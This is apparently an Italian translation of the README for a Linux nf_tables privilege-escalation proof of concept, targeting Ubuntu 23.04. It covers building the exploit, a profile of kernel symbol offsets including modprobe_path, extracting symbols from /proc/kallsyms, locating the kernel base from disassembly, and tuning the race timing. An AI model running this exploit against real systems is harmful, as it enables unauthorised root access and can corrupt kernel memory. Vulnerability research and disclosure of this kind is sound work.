
Per uso personale, l'autore del PoC è Piotr Krysiuk, si prega di leggere README.md prima dell'uso.
Le istruzioni seguenti sono state testate su Ubuntu 23.04 (Lunar Lobster).
Eseguire il seguente comando per installare le dipendenze di compilazione:
sudo apt install gcc libmnl-dev libnftnl-dev
Eseguire il seguente comando per compilare il binario PoC:
gcc -Wall -o exploit exploit.c -lmnl -lnftnl
Il profilo integrato contiene parametri specifici del kernel Linux distribuito in forma binaria nei seguenti pacchetti di Ubuntu 23.04 (Lunar Lobster):
Il profilo integrato si presenta così:
1 race_set_slab # {0,1}
1572 race_set_elem_count # k
4000 initial_sleep # ms
100 race_lead_sleep # ms
600 race_lag_sleep # ms
100 reuse_sleep # ms
39d240 free_percpu # hex
2a8b900 modprobe_path # hex
23700 nft_counter_destroy # hex
347a0 nft_counter_ops # hex
a nft_counter_destroy_call_offset # hex
ffffffff nft_counter_destroy_call_mask # hex
e8e58948 nft_counter_destroy_call_check # hex
Passaggi opzionali per sovrascrivere il profilo integrato quando si testano altri kernel Linux:
modprobe nf_tables
egrep ' (nft_counter_ops|nft_counter_destroy|free_percpu|modprobe_path)(\s|$)' /proc/kallsyms > profile
Per trovare la base del kernel esaminiamo l'immagine nf_tables.ko nella
memoria del kernel. Nello specifico, analizziamo il codice macchina della
subroutine nft_counter_destroy(). Ciò significa che il nostro metodo è
sensibile al compilatore e alle opzioni di compilazione. Tuttavia, tutti i
casi usuali possono essere gestiti sovrascrivendo il profilo integrato.
Ad esempio, il codice macchina della subroutine nft_counter_destroy() può apparire così:
000000000001e310 <nft_counter_destroy>:
1e310: f3 0f 1e fa endbr64
1e314: 48 8b 7e 08 mov rdi,QWORD PTR [rsi+0x8]
1e318: e9 00 00 00 00 jmp <free_percpu>
1e31d: 0f 1f 00 nop DWORD PTR [rax]
Nel caso precedente possiamo specificare alcuni parametri aggiungendo le tre righe seguenti al file di configurazione "profile".
Per prima cosa, ridefiniamo l'offset del dword che precede lo spiazzamento
free_percpu:
5 nft_counter_destroy_call_offset # hex
dove il valore 5 è stato calcolato usando l'espressione (1e31d - 1e310) - 8.
Come controllo di coerenza, validiamo quindi il dword all'offset precedente utilizzando la seguente maschera:
ffffffff nft_counter_destroy_call_mask # hex
atteso il seguente valore:
e9087e8b nft_counter_destroy_call_check # hex
Lo sfruttamento della vulnerabilità richiede di vincere una race con il thread worker in background del kernel Linux. Il profilo integrato è stato ottimizzato per massimizzare la probabilità di vincere quella race su un'ampia gamma di microprocessori Intel, inclusi i Sandy Bridge mobili e i Comet Lake desktop. Tuttavia, alcuni microprocessori richiedono un'ottimizzazione aggiuntiva. Ad esempio, abbiamo osservato una latenza maggiore nel cambio di contesto su Alder Lake in determinate configurazioni, dove può essere necessario aggiungere la seguente riga a "profile":
400 race_lead_sleep
Abbiamo misurato una probabilità dell'80% o superiore di sfruttare con successo la vulnerabilità nei nostri test che utilizzavano sistemi bare-metal inattivi.
Una volta avviato il PoC su un sistema vulnerabile, esso può lasciare tale sistema in uno stato instabile con memoria del kernel corrotta. Raccomandiamo vivamente di testare il PoC su un sistema dedicato per evitare potenziali corruzioni dei dati.